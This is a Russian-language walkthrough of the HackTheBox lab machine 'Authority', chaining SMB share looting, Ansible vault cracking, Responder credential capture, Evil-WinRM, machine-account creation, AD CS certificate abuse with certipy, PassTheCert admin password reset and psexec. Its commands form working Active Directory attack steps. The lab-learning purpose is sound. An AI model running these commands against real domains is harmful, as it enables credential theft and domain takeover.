HackTheBox Authority writeup- получаем права админа через PassTheCert
Приветствую вас, кулхацкеры. Сегодняшний райт будет посвящен прохождению машины с HackTheBox под названием Authority.
Дисклеймер: все утилиты и техники, продемонстрированные в статье, приведены в учебных целях
Сканирование и разведка
Как всегда начинаем с разведки при помощи Nmap:
nmap -sC -sV -Pn -p- 10.10.11.222
Первым делом попробуем подключиться к хосту при помощи smbclient для просмотра доступных шар:
smbclient -L 10.10.11.222 -U " "
При попытке подключиться к \Department Shares нам отказывают в доступе. Значит попытаемся подключиться без пароля к шаре \Development:
smbclient \\\\10.10.11.222\\Development -U ""
Выкачаем все файлы, воспользовавшись следующими командами:
recurse on
prompt off
mget *
recurse
→ переключает рекурсию папок для команд mget
и mput
.
Если рекурсия включена, то эти команды будут работать со всеми поддиректориями указанной папки (например, папки из которой ведется копирование) и будут рекурсивно выполнены во всех папках подходящих по маске, определенной для команды
prompt
→ переключает запрос имен файлов во время операций команд mget
и mput
. Если запрос выключен, все указанные файлы будут переданы без запроса.
mget *
→ скачивает файлы с сервера на машину
Изучив директории, мы наткнемся на интересный файл под названием main.yml, который можно найти по абсолютному пути Automation\Ansible\PWM\defaults\main.yml
Это не что иное, как Ansible-vault учетные данные.
Представим все хеши по отдельности, чтобы сделать их читаемыми для утилиты JohnTheRipper при помощи скрипта ansible2john:
ansible2john admin.txt > hash1.txt
Получим пароль, с помощью которого проводилось шифрование при помощи улититы ansible-vault, входящей в состав фреймворка Ansible. Зная пароль, сможем обратно расшифровать нужные нам данные:
cat admin1.txt | ansible-vault decrypt
На 80 порту ничего примечательного обнаружено не было. На 8443 порту висит приложение, интегрированное с LDAP. Попробуем зайти на веб-страницу:
Войти под полученными нами учетными не удалось. Попробуем зайти в Configuration Manager при помощи другого пароля:
Успешно. Тем не менее, при попытке установить связь с LDAPS-сервером возникла ошибка, означающая невозможность установления соединения. Также здесь мы находим пользователя с именем svc_ldap.
Внимательно изучив страницу, станет ясно, что мы можем изменять файл конфигурации. Значит мы сможем изменить параметры конфигурации и, запустив Responder, симитируем LDAP-сервер, что позволит нам отслеживать передаваемую информацию. Изменим конфигурациионный файл, подставив в параметры данные нашей машины:
Выступаем в качестве LDAP-сервера при помощи Responder
Запустим Responder:
sudo responder -I tun0 -wA
И получим пароль в открытом виде:
Подключаемся при помощи Evil-WinRM
Для удаленного подключения воспользуемся утилитой Evil-WinRM:
evil-winrm -i 10.10.11.222 --user svc_ldap --password 'lDaP_1n_th3_cle4r!'
Здесь будет находится первый флаг user.txt
Эскалация привилегий
Посмотрим информацию о пользователе при помощи команды whoami /all
У пользователя имеется привилегия на добавление машины в домен SeMachineAccountPrivilege, а это значит что мы можем добавить компьютер в домен с помощью учетных данных svc_ldap. Для этого воспользуемся модулем addcomputer утилиты Impacket:
impacket-addcomputer -dc-ip 10.10.11.222 -computer-name hacker_PC -computer-pass pass1234 'htb.local/svc_ldap:lDaP_1n_th3_cle4r!'
Машинная учетная запись успешно добавлена! Теперь мы можем использовать недавно полученные учетные данные для получения «шаблона сертификата» с сервера. Для этого воспользуемся утилитой certipy:
certipy-ad find -u "hacker_PC" -p "pass1234" -dc-ip 10.10.11.222
Изучив сертификат, мы обнаружили, что в нем присутствует уязвимость, позволяющая любому компьютеру домена запросить сертификат администратора.
Теперь мы можем использовать недавно полученные имя пользователя и пароль для получения «шаблона сертификата» с сервера.
Здесь снова воспользуемся certipy-ad:
certipy-ad req -username "hacker_PC$" -p "pass1234" -template CorpVPN -dc-ip 10.10.11.222 -ca AUTHORITY-CA -upn 'Administrator@authority.htb'
Получив сертификат, попробуем пройти с помощью него аутентификацию и запросить NT-хеш учетной записи:
certipy-ad auth -pfx administrator.pfx -dc-ip 10.10.11.222
Однако пройти аутентификацию не удалось, так как Kerberos не поддерживает механизм PKINIT. Для прохождения воспользуемся утилитой PassTheCert. Но для начала разделим сертификат и ключ с помощью certipy-ad:
certipy-ad cert -pfx administrator.pfx -nokey -out user.crt
certipy-ad cert -pfx administrator.pfx -nocert -out user.key
Получив ключ и сертификат, воспользуемся ими, чтобы запросить новый пароль администратора:
python passthecert.py -action modify_user -crt user.crt -key user.key -domain authority.htb -dc-ip 10.10.11.222 -target administrator
-new-pass
Теперь воспользуемся утилитой psexec для получения шелла:
impacket-psexec administrator:y50xccLr62vDYhFrmakcoJocBkiO5UnN@10.10.11.222